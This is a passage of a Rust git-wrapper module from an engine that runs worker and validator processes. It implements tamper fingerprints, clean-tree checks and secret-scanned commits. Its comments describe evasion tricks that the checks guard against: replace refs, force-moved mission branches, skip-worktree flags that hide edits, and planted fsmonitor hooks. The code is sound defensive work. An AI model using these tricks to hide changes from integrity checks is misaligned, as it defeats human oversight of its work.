808        // The common config enables this scope. A key in config.worktree
809        // cannot hide that fact by overriding the effective query result.
810        let out = self.probe_os(&[
811            OsString::from("config"),
812            OsString::from("--file"),
813            git_path_arg(&std::path::absolute(common.join("config"))?).into_os_string(),
814            OsString::from("--no-includes"),
815            OsString::from("--bool"),
816            OsString::from("--get"),
817            OsString::from("extensions.worktreeConfig"),
818        ])?;
819        let enabled = if out.status.success() {
820            match std::str::from_utf8(&out.stdout).map(str::trim) {
821                Ok("true") => true,
822                Ok("false") => false,
823                _ => {
824                    return Err(EngineError::Git(
825                        "invalid worktree configuration scope".into(),
826                    ))
827                }
828            }
829        } else if out.status.code() == Some(1) {
830            false
831        } else {
832            return Err(EngineError::Git(
833                "cannot determine worktree configuration scope".into(),
834            ));
835        };
836        Ok((git_dir, common, enabled))
837    }
838
839    /// Mission-significant refs for the tamper fingerprint: the CONTENT of
840    /// `refs/heads/kranz/*` (mission branches — a validator force-moving one
841    /// retargets the deliverable), `refs/tags/*`, AND `refs/replace/*` (a
842    /// replace ref changes how EVERY later git command resolves an object —
843    /// `git show <base>` renders a fake without HEAD, status, heads, or tags
844    /// moving), plus the COUNT of all `refs/heads/*` (a validator-created
845    /// sneaky branch shows as count+1).
846    ///
847    /// `refs/remotes/*` is excluded (ambient mirror state: any operator/CI
848    /// fetch), and other local heads' CONTENT is excluded too — the operator
849    /// committing to `main` mid-round is ambient work, not tamper (mission
850    /// m-83d1ed's second tripwire fire was exactly that: the instrumented
851    /// `refs` field catching the operator's own push to main).
852    pub fn for_each_ref(&self) -> Result<String> {
853        let scoped = self.run(&[
854            "for-each-ref",
855            "--format=%(refname) %(objectname)",
856            "refs/heads/kranz",
857            "refs/tags",
858            "refs/replace",
859        ])?;
860        let all_heads = self.run(&["for-each-ref", "--format=%(refname)", "refs/heads"])?;
861        let count = all_heads.lines().filter(|l| !l.trim().is_empty()).count();
862        Ok(format!("{scoped}heads-count: {count}\n"))
863    }
864
865    /// Name of the currently checked-out branch (`"HEAD"` when detached).
866    pub fn current_branch(&self) -> Result<String> {
867        Ok(self
868            .run(&["rev-parse", "--abbrev-ref", "HEAD"])?
869            .trim()
870            .to_string())
871    }
872
873    /// Sha of an arbitrary ref (`git rev-parse <refname>`).
874    ///
875    /// Rejects a flag-shaped `refname` (leading `-`) with an
876    /// [`EngineError::Git`] before invoking git, mirroring the guard on
877    /// [`GitRepo::add_worktree`]/[`GitRepo::merge_no_ff`]/
878    /// [`GitRepo::push_mission_branch`].
879    pub fn rev_parse(&self, refname: &str) -> Result<String> {
880        if refname.starts_with('-') {
881            return Err(EngineError::Git(format!(
882                "refusing rev-parse of flag-shaped ref {refname:?}"
883            )));
884        }
885        Ok(self.run(&["rev-parse", refname])?.trim().to_string())
886    }
887
888    /// Whether `ancestor` is an ancestor of (or equal to) `descendant`
889    /// (`git merge-base --is-ancestor <ancestor> <descendant>`).
890    ///
891    /// git's contract: exit 0 => `Ok(true)`; exit 1 => `Ok(false)`; any other
892    /// exit code is a real git failure, surfaced as [`EngineError::Git`].
893    /// Rejects a flag-shaped `ancestor`/`descendant` (leading `-`) before
894    /// invoking git, mirroring [`GitRepo::rev_parse`]/[`GitRepo::merge_no_ff`].
895    pub fn is_ancestor(&self, ancestor: &str, descendant: &str) -> Result<bool> {
896        for slot in [ancestor, descendant] {
897            if slot.starts_with('-') {
898                return Err(EngineError::Git(format!(
899                    "refusing is_ancestor with flag-shaped ref {slot:?}"
900                )));
901            }
902        }
903        let out = self.probe(&["merge-base", "--is-ancestor", ancestor, descendant])?;
904        match out.status.code() {
905            Some(0) => Ok(true),
906            Some(1) => Ok(false),
907            _ => Err(EngineError::Git(format!(
908                "git merge-base --is-ancestor {ancestor} {descendant} failed ({}): {}",
909                out.status,
910                failure_detail(&out)
911            ))),
912        }
913    }
914
915    /// Whether a local branch of this name exists.
916    pub fn branch_exists(&self, name: &str) -> Result<bool> {
917        let git_ref = format!("refs/heads/{name}");
918        let out = self.probe(&["rev-parse", "--verify", "--quiet", &git_ref])?;
919        Ok(out.status.success())
920    }
921
922    /// Create branch `name` at `from` (a sha or ref), or at `HEAD` when
923    /// `from` is `None`. Does not check the branch out.
924    pub fn create_branch(&self, name: &str, from: Option<&str>) -> Result<()> {
925        let mut args = vec!["branch", name];
926        if let Some(start) = from {
927            args.push(start);
928        }
929        self.run(&args)?;
930        Ok(())
931    }
932
933    /// Check out an existing branch (or any committish).
934    pub fn checkout(&self, name: &str) -> Result<()> {
935        self.run(&["checkout", name])?;
936        Ok(())
937    }
938
939    /// True when the working tree has no changes at all. `--porcelain`
940    /// output includes untracked files, so those count as dirty too.
941    pub fn is_clean(&self) -> Result<bool> {
942        Ok(self.run(&["status", "--porcelain"])?.trim().is_empty())
943    }
944
945    /// Full `git status --porcelain` (v1) output: index + worktree status of
946    /// tracked files plus untracked non-ignored paths, respecting .gitignore
947    /// (so build-artifact churn like `target/` and the gitignored `.kranz`
948    /// runtime never appears). The validator immutability fingerprint
949    /// ([`crate::validator_integrity`]) compares this verbatim across a
950    /// session; v1's C-quoting keeps even exotic paths to one line per entry.
951    pub fn porcelain_status(&self) -> Result<String> {
952        // --untracked-files=all: the default collapses untracked DIRECTORIES
953        // (`?? dir/`), so files added inside an already-untracked dir would
954        // be invisible to the validator-integrity fingerprint (review 2 pass).
955        self.run(&["status", "--porcelain", "--untracked-files=all"])
956    }
957
958    /// `git ls-files -v`: every index entry with its flag column (`S` =
959    /// skip-worktree, lowercase = assume-unchanged). A `skip-worktree` flag
960    /// hides worktree modifications from `git status` entirely (4th-pass
961    /// review: set the flag, overwrite the file, HEAD and porcelain both
962    /// unchanged), so the immutability fingerprint covers the flags too.
963    pub fn ls_files_v(&self) -> Result<String> {
964        self.run(&["ls-files", "-v"])
965    }
966
967    /// Like [`Self::is_clean`] but ignoring untracked files: `true` when no
968    /// TRACKED file is modified, staged, or deleted. Untracked files never
969    /// block a branch switch (git carries them across), so restore-checkout
970    /// paths use this rather than full cleanliness.
971    pub fn is_clean_tracked(&self) -> Result<bool> {
972        Ok(self
973            .run(&["status", "--porcelain", "--untracked-files=no"])?
974            .trim()
975            .is_empty())
976    }
977
978    /// Like [`Self::is_clean_tracked`], but also rejects index flags that can
979    /// hide working-tree changes (`assume-unchanged`, `skip-worktree`, or
980    /// fsmonitor-valid).
981    ///
982    /// Scratch merge worktrees are never sparse and never need either flag,
983    /// so every tracked entry must have git's normal `H` tag.
984    pub fn is_clean_tracked_strict(&self) -> Result<bool> {
985        if !self.is_clean_tracked()? {
986            return Ok(false);
987        }
988        self.has_normal_index_entries()
989    }
990
991    /// Read index flags without invoking repository hooks or refreshing away
992    /// evidence of hidden working-tree changes.
993    pub(crate) fn has_normal_index_entries(&self) -> Result<bool> {
994        Ok(self
995            .run_seeing_fsmonitor(&["ls-files", "-v", "-f"])?
996            .lines()
997            .all(|line| line.starts_with("H ")))
998    }
999
1000    /// Whether one tracked path has Git's normal index tag. Lowercase tags
1001    /// (`assume-unchanged` or fsmonitor-valid) and `S` (`skip-worktree`) can
1002    /// hide worktree bytes from ordinary diff/status commands and must not
1003    /// guard a trust decision.
1004    pub fn has_normal_index_entry(&self, path: &str) -> Result<bool> {
1005        let output = self.run_seeing_fsmonitor(&["ls-files", "-v", "-f", "--", path])?;
1006        let mut lines = output.lines();
1007        Ok(lines.next() == Some(format!("H {path}").as_str()) && lines.next().is_none())
1008    }
1009
1010    /// `git ls-files` for the two index-flag DETECTIONS above, run with the
1011    /// repository's own `core.fsmonitor` setting left visible.
1012    ///
1013    /// The hardened handle neutralizes `core.fsmonitor=` because `git status`
1014    /// would otherwise execute a planted hook. But git only reports the
1015    /// fsmonitor-valid tag (`h`) when fsmonitor is CONFIGURED: with the key
1016    /// blanked, `ls-files -f` prints the ordinary `H` and the detection reads
1017    /// a flag-hidden file as clean — which is precisely the trust decision
1018    /// these two callers exist to refuse. `ls-files` reads the index without
1019    /// refreshing it and never invokes the hook (probed 2026-09-02: a
1020    /// `core.fsmonitor` script pointed at a sentinel is not run by
1021    /// `ls-files -f`), so keeping this one key visible costs nothing. Every
1022    /// other neutralization, and the nulled user/system config, stay in
1023    /// place.
1024    fn run_seeing_fsmonitor(&self, args: &[&str]) -> Result<String> {
1025        let os: Vec<OsString> = args.iter().map(OsString::from).collect();
1026        let out = self.spawn_git(&os, UserConfig::Ignored, ExecFlags::SeeingFsmonitor)?;
1027        check_status(&os, out)
1028    }
1029
1030    /// `git add -A` then `git commit -m <message>`; returns the new head sha.
1031    ///
1032    /// A no-change commit attempt exits non-zero, so it surfaces as an
1033    /// [`EngineError::Git`] carrying git's own "nothing to commit" output.
1034    pub fn add_all_and_commit(&self, message: &str) -> Result<String> {
1035        self.run(&["add", "-A"])?;
1036        self.run(&["commit", "-m", message])?;
1037        self.head_sha()
1038    }
1039
1040    /// Paths currently dirty in the working tree (`git status --porcelain`),
1041    /// relative to the repo root. Empty when clean.
1042    pub fn dirty_paths(&self) -> Result<Vec<PathBuf>> {
1043        let out = self.run(&["status", "--porcelain", "-z"])?;
1044        let mut paths = Vec::new();
1045        // Porcelain -z records: XY<space>path\0, or for rename/copy
1046        // XY<space>newpath\0oldpath\0. Walk byte-wise so a bare oldpath
1047        // record is not mistaken for a status line.
1048        let bytes = out.as_bytes();
1049        let mut i = 0;
1050        while i < bytes.len() {
1051            if bytes[i] == 0 {
1052                i += 1;
1053                continue;
1054            }
1055            let start = i;
1056            while i < bytes.len() && bytes[i] != 0 {
1057                i += 1;
1058            }
1059            let entry = std::str::from_utf8(&bytes[start..i]).unwrap_or("");
1060            i += 1; // skip NUL
1061            if entry.len() < 4 {
1062                continue;
1063            }
1064            let status = &entry[..2];
1065            let path = if entry.as_bytes().get(2) == Some(&b' ') {
1066                &entry[3..]
1067            } else {
1068                entry.trim()
1069            };
1070            if path.is_empty() {
1071                continue;
1072            }
1073            paths.push(PathBuf::from(path));
1074            // Rename/copy: the record continues as `\0oldpath\0`. The source
1075            // path is part of the same change — a staged `git mv a b` must
1076            // report BOTH `b` and `a`, or a checkpoint commit scoped to the
1077            // dirty set commits only `b` and leaves the staged `D a` behind —
1078            // so it joins the dirty set rather than being skipped.
1079            if status.contains('R') || status.contains('C') {
1080                let old_start = i;
1081                while i < bytes.len() && bytes[i] != 0 {
1082                    i += 1;
1083                }
1084                let old = std::str::from_utf8(&bytes[old_start..i]).unwrap_or("");
1085                if i < bytes.len() {
1086                    i += 1; // skip NUL after oldpath
1087                }
1088                if !old.is_empty() {
1089                    paths.push(PathBuf::from(old));
1090                }
1091            }
1092        }
1093        Ok(paths)
1094    }
1095
1096    /// Stage and commit only currently-dirty paths (scoped checkpoint).
1097    /// Prefer this over [`Self::add_all_and_commit`] for engine checkpoints so
1098    /// a concurrent operator edit outside the worker's tree is not scooped in
1099    /// via `git add -A`. No-op (returns current HEAD) when the tree is clean.
1100    ///
1101    /// A secret-scan refusal is reported as
1102    /// [`CheckpointOutcome::RefusedBySecretScan`], never as an `Err` —
1103    /// checkpoint callers sit on the mission loop and must record the refusal
1104    /// instead of erroring the run (see [`CheckpointOutcome`]). Real git
1105    /// failures still propagate.
1106    pub fn commit_dirty_paths(&self, message: &str) -> Result<CheckpointOutcome> {
1107        let paths = self.dirty_paths()?;
1108        if paths.is_empty() {
1109            return Ok(CheckpointOutcome::Committed(self.head_sha()?));
1110        }
1111        let refs: Vec<&Path> = paths.iter().map(PathBuf::as_path).collect();
1112        if let Some(detail) = self.secret_scan_refusal(&refs) {
1113            return Ok(CheckpointOutcome::RefusedBySecretScan { detail });
1114        }
1115        Ok(CheckpointOutcome::Committed(
1116            self.commit_paths_unscanned(&refs, message)?,
1117        ))
1118    }
1119
1120    /// Stage and commit only the given paths; returns the new head sha.
1121    ///
1122    /// Paths may be absolute or relative to the repo root. Content staged
1123    /// for *other* paths is left staged and untouched (`git commit -- <paths>`
1124    /// commits just the named pathspecs).
1125    ///
1126    /// Idempotent: if staging the named paths yields no change (e.g. a
1127    /// crash-replayed re-commit of byte-identical files), this is a no-op that
1128    /// returns the current head rather than an empty-commit error. An empty
1129    /// `paths` slice is still rejected up front.
1130    pub fn commit_paths(&self, paths: &[&Path], message: &str) -> Result<String> {
1131        if paths.is_empty() {
1132            return Err(EngineError::Git("commit_paths: no paths given".into()));
1133        }
1134        // Durable-record commits (plans, reports) treat a scan refusal as a
1135        // hard error: the engine authored those files itself, so a finding
1136        // there is a bug, not a worker leftover to route around. Checkpoint
1137        // callers go through commit_dirty_paths, which surfaces the same
1138        // refusal as a CheckpointOutcome instead.
1139        if let Some(detail) = self.secret_scan_refusal(paths) {
1140            return Err(EngineError::Git(detail));
1141        }
1142        self.commit_paths_unscanned(paths, message)
1143    }
1144
1145    /// The formatted refusal message when the engine secret scan (minus
1146    /// allowlisted fingerprints) finds anything in `paths`, or `None` when
1147    /// the commit may proceed. The message names the findings via
1148    /// [`scrub::format_findings`] (rule ids + fingerprints, never raw secret
1149    /// bytes) and the allowlist path for a reviewed waiver.
1150    fn secret_scan_refusal(&self, paths: &[&Path]) -> Option<String> {
1151        let allowed = std::fs::read_to_string(self.root.join(scrub::SECRET_ALLOWLIST_PATH))
1152            .ok()
1153            .map(|text| scrub::read_allowlist_text(&text))
1154            .unwrap_or_default();
1155        // Split the dirty paths: TRACKED files scan only the mission's added
1156        // lines (git diff HEAD) — a mission must not be refused for
1157        // pre-existing base content in a file it merely touches (m-0f1abd,
1158        // checkpoint-refused twice by unchanged base code). NEW (untracked)
1159        // files still scan full-file — `git diff HEAD` never sees them and
1160        // their whole content is added lines anyway.
1161        let (mut tracked, mut new_files) = (Vec::new(), Vec::new());
1162        for path in paths {
1163            let in_index = self
1164                .run_os(&[
1165                    "ls-files".into(),
1166                    "--error-unmatch".into(),
1167                    "--".into(),
1168                    path.as_os_str().to_os_string(),
1169                ])
1170                .is_ok();
1171            if in_index {
1172                tracked.push(*path);
1173            } else {
1174                new_files.push(*path);
1175            }
1176        }
1177
1178        let mut findings = Vec::new();
1179        if !tracked.is_empty() {
1180            let diff = self.diff_head_paths(&tracked).unwrap_or_default();
1181            findings.extend(scrub::scan_unified_diff(&diff));
1182        }
1183        if !new_files.is_empty() {
1184            findings.extend(scrub::scan_paths(&self.root, &new_files));
1185        }
1186        let findings = scrub::filter_allowed(findings, &allowed);
1187        if findings.is_empty() {
1188            None
1189        } else {
1190            Some(format!(
1191                "secret scan blocked engine commit; add a fingerprint to {} only for a reviewed false positive:\n{}",
1192                scrub::SECRET_ALLOWLIST_PATH,
1193                scrub::format_findings(&findings)
1194            ))
1195        }
1196    }
1197
1198    /// [`Self::commit_paths`] minus the secret scan. Private on purpose:
1199    /// every public commit path must either run the scan (commit_paths) or
1200    /// surface its refusal as a [`CheckpointOutcome`] (commit_dirty_paths).
1201    fn commit_paths_unscanned(&self, paths: &[&Path], message: &str) -> Result<String> {
1202        let path_args = paths.iter().map(|p| p.as_os_str().to_os_string());
1203
1204        // `git add` fatals ("pathspec ... did not match any files") on a path
1205        // that is gone from BOTH the working tree and the index — exactly a
1206        // rename/copy source whose deletion `git mv` already staged. Such a
1207        // path needs no staging (the commit pathspec below still carries the
1208        // staged deletion into the commit), so it is left out of the add. A
1209        // path merely deleted from the working tree but still in the index
1210        // stays in: `git add` stages that removal.
1211        let add_paths = self.addable_paths(paths)?;
1212        if !add_paths.is_empty() {
1213            let mut add: Vec<OsString> = vec!["add".into(), "--".into()];
1214            add.extend(add_paths.iter().map(|p| p.as_os_str().to_os_string()));
1215            self.run_os(&add)?;
1216        }
1217
1218        // Idempotent: if staging these pathspecs produced nothing (e.g. a
1219        // crash-replayed re-approval that rewrites byte-identical files), skip
1220        // the commit and return the unchanged head. `git commit` errors on an
1221        // empty commit, which would otherwise wedge the caller on replay.
1222        let mut staged: Vec<OsString> = vec![
1223            "diff".into(),
1224            "--cached".into(),
1225            "--name-only".into(),
1226            "--".into(),
1227        ];
1228        staged.extend(path_args.clone());
1229        if self.run_os(&staged)?.trim().is_empty() {
1230            return self.head_sha();
1231        }
1232
1233        let mut commit: Vec<OsString> =
1234            vec!["commit".into(), "-m".into(), message.into(), "--".into()];
1235        commit.extend(path_args);
1236        self.run_os(&commit)?;
1237
1238        self.head_sha()
1239    }
1240
1241    /// The subset of `paths` that `git add` can act on: present in the
1242    /// working tree (`symlink_metadata`, so a dangling symlink still counts)
1243    /// or still known to the index (a working-tree deletion whose removal
1244    /// `git add` stages). A path in NEITHER — e.g. the source of an
1245    /// already-staged rename — would make `git add` fail with "pathspec did
1246    /// not match any files", and has nothing left to stage anyway.
1247    fn addable_paths<'a>(&self, paths: &[&'a Path]) -> Result<Vec<&'a Path>> {
1248        let missing: Vec<&Path> = paths
1249            .iter()
1250            .copied()
1251            .filter(|p| {
1252                let full = if p.is_absolute() {
1253                    p.to_path_buf()
1254                } else {
1255                    self.root.join(p)
1256                };
1257                std::fs::symlink_metadata(full).is_err()
1258            })
1259            .collect();
1260        if missing.is_empty() {
1261            return Ok(paths.to_vec());
1262        }
1263        // One batched index probe for the disk-missing subset. `git ls-files`
1264        // exits 0 with empty output for pathspecs that match nothing, and
1265        // prints matches relative to the repo root.
1266        let mut ls: Vec<OsString> = vec!["ls-files".into(), "-z".into(), "--".into()];
1267        ls.extend(missing.iter().map(|p| p.as_os_str().to_os_string()));
1268        let in_index: std::collections::HashSet<PathBuf> = self
1269            .run_os(&ls)?
1270            .split('\0')
1271            .filter(|s| !s.is_empty())
1272            .map(PathBuf::from)
1273            .collect();
1274        Ok(paths
1275            .iter()
1276            .copied()
1277            .filter(|p| {
1278                let rel = p.strip_prefix(&self.root).unwrap_or(p);
1279                std::fs::symlink_metadata(self.root.join(rel)).is_ok() || in_index.contains(rel)
1280            })
1281            .collect())
1282    }
1283
1284    /// Commits reachable from `to` but not `from` (`from..to`), oldest first.
1285    pub fn commits_between(&self, from: &str, to: &str) -> Result<Vec<CommitInfo>> {
1286        let range = format!("{from}..{to}");
1287        // %x09 = tab separator; a subject can contain anything but a newline.
1288        let out = self.run(&["log", "--reverse", "--format=%H%x09%s", &range])?;
1289        let mut commits = Vec::new();
1290        for line in out.lines() {
1291            // `lines()` strips \n; strip a stray \r for CRLF robustness (§9).
1292            let line = line.trim_end_matches('\r');
1293            if line.is_empty() {
1294                continue;
1295            }
1296            let (sha, subject) = line.split_once('\t').unwrap_or((line, ""));
1297            commits.push(CommitInfo {
1298                sha: sha.to_string(),
1299                subject: subject.to_string(),
1300            });
1301        }
1302        Ok(commits)
1303    }
1304
1305    /// Count merge commits reachable from `to` but not `from`.
1306    pub fn merge_commit_count(&self, from: &str, to: &str) -> Result<usize> {
1307        for slot in [from, to] {
1308            if slot.starts_with('-') {
1309                return Err(EngineError::Git(format!(
1310                    "refusing merge_commit_count with flag-shaped ref {slot:?}"
1311                )));
1312            }
1313        }
1314        let range = format!("{from}..{to}");
1315        let out = self.run(&["rev-list", "--merges", "--count", &range])?;
1316        out.trim().parse::<usize>().map_err(|e| {
1317            EngineError::Git(format!(
1318                "git rev-list --merges --count {range} returned non-numeric output {out:?}: {e}"
1319            ))
1320        })
1321    }
1322
1323    /// Count first-parent commits on `branch` whose committer date falls in
1324    /// `(since, until]` (`git rev-list --first-parent --count --since
1325    /// --until`) — the landed-changes denominator of the industry-comparison
1326    /// fold (ticket `outcomes-comparison-metrics`, KRZ-333). First-parent
1327    /// counts one entry per change that landed on the branch's own line of
1328    /// history — a direct commit or a `--no-ff` merge — never the commits a
1329    /// merge brought with it, so a landed mission merge and a hand-written
1330    /// commit each count once. git's `--since` is exclusive and `--until`
1331    /// inclusive; the timestamps go to git verbatim as RFC 3339.
1332    pub fn count_first_parent_commits(
1333        &self,
1334        branch: &str,
1335        since: &chrono::DateTime<chrono::Utc>,
1336        until: &chrono::DateTime<chrono::Utc>,
1337    ) -> Result<u64> {
1338        if branch.starts_with('-') {
1339            return Err(EngineError::Git(format!(
1340                "refusing count_first_parent_commits with flag-shaped ref {branch:?}"
1341            )));
1342        }
1343        let out = self.run(&[
1344            "rev-list",
1345            "--first-parent",
1346            "--count",
1347            &format!("--since={}", since.to_rfc3339()),
1348            &format!("--until={}", until.to_rfc3339()),
1349            branch,
1350        ])?;
1351        out.trim().parse::<u64>().map_err(|e| {
1352            EngineError::Git(format!(
1353                "git rev-list --first-parent --count {branch} returned non-numeric output {out:?}: {e}"
1354            ))
1355        })
1356    }
1357
1358    /// `git diff --stat <from>..<to>` output, verbatim.
1359    pub fn diff_stat(&self, from: &str, to: &str) -> Result<String> {
1360        let range = format!("{from}..{to}");
1361        self.run(&["diff", "--stat", &range])
1362    }
1363
1364    /// Full `git diff <from>..<to>` output, verbatim.
1365    pub fn diff_full(&self, from: &str, to: &str) -> Result<String> {
1366        let range = format!("{from}..{to}");
1367        self.run(&["diff", &range])
1368    }
1369
1370    /// Full `git diff <range>` output for a caller-supplied range.
1371    pub fn diff_range(&self, range: &str) -> Result<String> {
1372        if range.starts_with('-') || range.chars().any(char::is_whitespace) {
1373            return Err(EngineError::Git(format!(
1374                "refusing diff of malformed range {range:?}"
1375            )));
1376        }
1377        self.run(&["diff", range])
1378    }
1379
1380    /// Full staged diff (`git diff --cached`) output.
1381    pub fn diff_staged(&self) -> Result<String> {
1382        self.run(&["diff", "--cached"])
1383    }
1384
1385    /// Full `git diff --binary HEAD` output (index + working tree vs HEAD),
1386    /// verbatim — everything a worker left uncommitted on TRACKED files,
1387    /// binary-safe so it replays byte-for-byte through `git apply`
1388    /// ([`GitRepo::apply_patch`]). The validator snapshot
1389    /// ([`crate::validator_snapshot`]) captures this in the real checkout and
1390    /// applies it in the throwaway copy so validators judge exactly the tree
1391    /// the worker left.
1392    pub fn diff_head(&self) -> Result<String> {
1393        self.run(&["diff", "--binary", "HEAD"])
1394    }
1395
1396    /// `git apply <patch_file>` against the worktree (index untouched). The
1397    /// validator snapshot replays the real checkout's [`GitRepo::diff_head`]
1398    /// this way; the patch comes from a file path so no stdin plumbing is
1399    /// needed.
1400    pub fn apply_patch(&self, patch_file: &Path) -> Result<()> {
1401        let args: Vec<OsString> = vec!["apply".into(), git_path_arg(patch_file).into_os_string()];
1402        self.run_os(&args)?;
1403        Ok(())
1404    }
1405
1406    /// Untracked, non-ignored files (`git ls-files --others
1407    /// --exclude-standard -z`), repo-relative. `-z` gives unquoted raw paths
1408    /// (NUL is the only byte git never allows in one), so even
1409    /// newline-bearing names survive the split. Ignored paths (`target/`,
1410    /// the `.kranz` runtime) never appear — mirroring
1411    /// [`GitRepo::porcelain_status`].
1412    /// Untracked non-ignored files, NUL-separated raw bytes preserved:
1413    /// `ls-files -z` output is byte-oriented, and a name that is not valid
1414    /// UTF-8 must NOT be lossy-mangled — the replacement character turns
1415    /// into a path that then fails to copy and (pre-fix) was silently
1416    /// swallowed as NotFound (5th-pass review). On unix the raw bytes are
1417    /// used verbatim; on Windows (where git emits WTF-8) the lossy form is
1418    /// the pragmatic fallback, documented.
1419    pub fn untracked_files(&self) -> Result<Vec<std::ffi::OsString>> {
1420        let out = self.probe(&["ls-files", "--others", "--exclude-standard", "-z"])?;
1421        if !out.status.success() {
1422            return Err(EngineError::Git(format!(
1423                "git ls-files --others failed ({})",
1424                failure_detail(&out)
1425            )));
1426        }
1427        Ok(out
1428            .stdout
1429            .split(|b| *b == 0)
1430            .filter(|seg| !seg.is_empty())
1431            .map(|seg| {
1432                #[cfg(unix)]
1433                {
1434                    use std::os::unix::ffi::OsStrExt as _;
1435                    std::ffi::OsString::from(std::ffi::OsStr::from_bytes(seg))
1436                }
1437                #[cfg(not(unix))]
1438                {
1439                    std::ffi::OsString::from(String::from_utf8_lossy(seg).into_owned())
1440                }
1441            })
1442            .collect())
1443    }
1444
1445    /// Stable labels for an independent gate snapshot: index, untracked source
1446    /// and the pinned base's deletions. Preserve UTF-8 exactly; no C quoting or
1447    /// lossy path conversion is permitted at this evidence boundary.
1448    pub(crate) fn gate_snapshot_paths(&self, base: &str) -> Result<Vec<String>> {
1449        let base = self.rev_parse(base)?;
1450        let mut paths = std::collections::BTreeSet::new();
1451        for args in [
1452            vec![
1453                "ls-files",
1454                "--cached",
1455                "--others",
1456                "--exclude-standard",
1457                "-z",
1458            ],
1459            vec!["ls-tree", "-r", "-z", "--name-only", &base],
1460        ] {
1461            let output = self.probe(&args)?;
1462            if !output.status.success() {
1463                return Err(EngineError::Git(failure_detail(&output)));
1464            }
1465            if output.stdout.len() > 8 * 1024 * 1024 {
1466                return Err(EngineError::Git(
1467                    "gate snapshot path inventory exceeds limit".into(),
1468                ));
1469            }
1470            for path in output.stdout.split(|b| *b == 0).filter(|p| !p.is_empty()) {
1471                let path = std::str::from_utf8(path).map_err(|_| {
1472                    EngineError::Git("gate snapshots do not support non-UTF-8 source paths".into())
1473                })?;
1474                paths.insert(path.to_owned());
1475                if paths.len() > 10_000 {
1476                    return Err(EngineError::Git(
1477                        "gate snapshot exceeds 10,000 paths".into(),
1478                    ));
1479                }
1480            }
1481        }
1482        Ok(paths.into_iter().collect())
1483    }
1484
1485    /// Full `git diff HEAD -- <paths>` output (index + working tree vs HEAD),
1486    /// verbatim — the checkpoint scan's "what this mission actually changed",
1487    /// never the pre-existing base content of files it merely touches.
1488    pub fn diff_head_paths(&self, paths: &[&Path]) -> Result<String> {
1489        let mut args: Vec<OsString> = vec!["diff".into(), "HEAD".into(), "--".into()];
1490        args.extend(paths.iter().map(|p| p.as_os_str().to_os_string()));
1491        self.run_os(&args)
1492    }
1493
1494    /// Full `git diff <from>..<to> -- <paths>` output, verbatim — the
1495    /// affected-path diff a Flight Rules waiver's digest binds (KRZ-344
1496    /// D-I): only changes under the named paths alter the bytes, so an
1497    /// unrelated-path change can never invalidate (or be covered by) the
1498    /// waiver. Refuses flag-shaped refs (the [`GitRepo::changed_paths`]
1499    /// guard) and an EMPTY path set — `git diff <range> --` with no
1500    /// pathspec silently means the WHOLE diff, which would bind authority
1501    /// the caller never scoped.
1502    pub fn diff_range_paths(&self, from: &str, to: &str, paths: &[String]) -> Result<String> {
1503        for slot in [from, to] {
1504            if slot.starts_with('-') {
1505                return Err(EngineError::Git(format!(
1506                    "refusing diff_range_paths with flag-shaped ref {slot:?}"
1507                )));
1508            }
1509        }
1510        if paths.is_empty() {
1511            return Err(EngineError::Git(
1512                "refusing diff_range_paths with an empty path set — `--` alone means the \
1513                 whole diff, not an empty one"
1514                    .to_string(),
1515            ));
1516        }
1517        let range = format!("{from}..{to}");
1518        let mut args: Vec<OsString> = vec!["diff".into(), range.into(), "--".into()];
1519        args.extend(paths.iter().map(OsString::from));
1520        self.run_os(&args)
1521    }
1522
1523    /// Paths changed in `from..to` (`git diff --name-only <from>..<to>`),
1524    /// one per line as git reports them.
1525    ///
1526    /// Rejects a flag-shaped `from`/`to` (leading `-`) before invoking git,
1527    /// mirroring the guard on [`GitRepo::is_ancestor`]/[`GitRepo::rev_parse`].
1528    pub fn changed_paths(&self, from: &str, to: &str) -> Result<Vec<String>> {
1529        for slot in [from, to] {
1530            if slot.starts_with('-') {
1531                return Err(EngineError::Git(format!(
1532                    "refusing changed_paths with flag-shaped ref {slot:?}"
1533                )));
1534            }
1535        }
1536        let range = format!("{from}..{to}");
1537        let out = self.run(&["diff", "--name-only", &range])?;
1538        Ok(out
1539            .lines()
1540            .map(|l| l.trim_end_matches('\r').trim())
1541            .filter(|l| !l.is_empty())
1542            .map(str::to_string)
1543            .collect())
1544    }
1545
1546    /// Operator review inventory: pinned base to working-tree bytes, including
1547    /// deletions, both sides of renames and non-ignored untracked paths.
1548    pub(crate) fn review_changed_paths(&self, base: &str) -> Result<Vec<String>> {
1549        let base = self.rev_parse(base)?;
1550        let output = self.probe(&["diff", "--no-renames", "--name-only", "-z", &base, "--"])?;
1551        if !output.status.success() || output.stdout.len() > 8 * 1024 * 1024 {
1552            return Err(EngineError::Git("review path inventory unavailable".into()));
1553        }
1554        let mut paths = std::collections::BTreeSet::new();
1555        for path in output.stdout.split(|b| *b == 0).filter(|p| !p.is_empty()) {
1556            paths.insert(
1557                std::str::from_utf8(path)
1558                    .map_err(|_| EngineError::Git("non-UTF-8 review path".into()))?
1559                    .to_string(),
1560            );
1561        }
1562        for path in self.untracked_files()? {
1563            paths.insert(
1564                path.into_string()
1565                    .map_err(|_| EngineError::Git("non-UTF-8 review path".into()))?,
1566            );
1567        }
1568        Ok(paths.into_iter().collect())
1569    }
1570
1571    /// Whether `from..to` touches anything under `apps/dashboard/` — the
1572    /// signal the gate suite uses to decide whether to run the dashboard
1573    /// gates (roadmap M6 gated merge).
1574    pub fn dashboard_touched(&self, from: &str, to: &str) -> Result<bool> {
1575        Ok(self
1576            .changed_paths(from, to)?
1577            .iter()
1578            .any(|p| p.starts_with("apps/dashboard/")))
1579    }
1580
1581    /// The most recent commit that ADDED `rel_path` (repo-relative,
1582    /// forward-slash), with its subject and full message body — or `None` if
1583    /// the path is untracked / was never added under version control.
1584    ///
1585    /// Used to check lesson-file provenance: a lesson only reaches a planning
1586    /// prompt if a `[kranz] mission report` commit carrying a matching
1587    /// `Kranz-Mission` trailer introduced it, so an untracked drop or a
1588    /// worker feature-commit fails the check (see the lesson-manifest render).
1589    pub fn commit_that_added(&self, rel_path: &str) -> Result<Option<AddedCommit>> {
1590        if rel_path.starts_with('-') {
1591            return Err(EngineError::Git(format!(
1592                "refusing commit_that_added with flag-shaped path {rel_path:?}"
1593            )));
1594        }
1595        // Unit-separator (\x1f) between fields; -n 1 → the newest add commit
1596        // (lessons are append-only and never rewritten, so there is one).
1597        let out = self.run(&[
1598            "log",
1599            "--diff-filter=A",
1600            "-n",
1601            "1",
1602            "--format=%H%x1f%s%x1f%b",
1603            "--",
1604            rel_path,
1605        ])?;
1606        let out = out.trim_end_matches('\n');
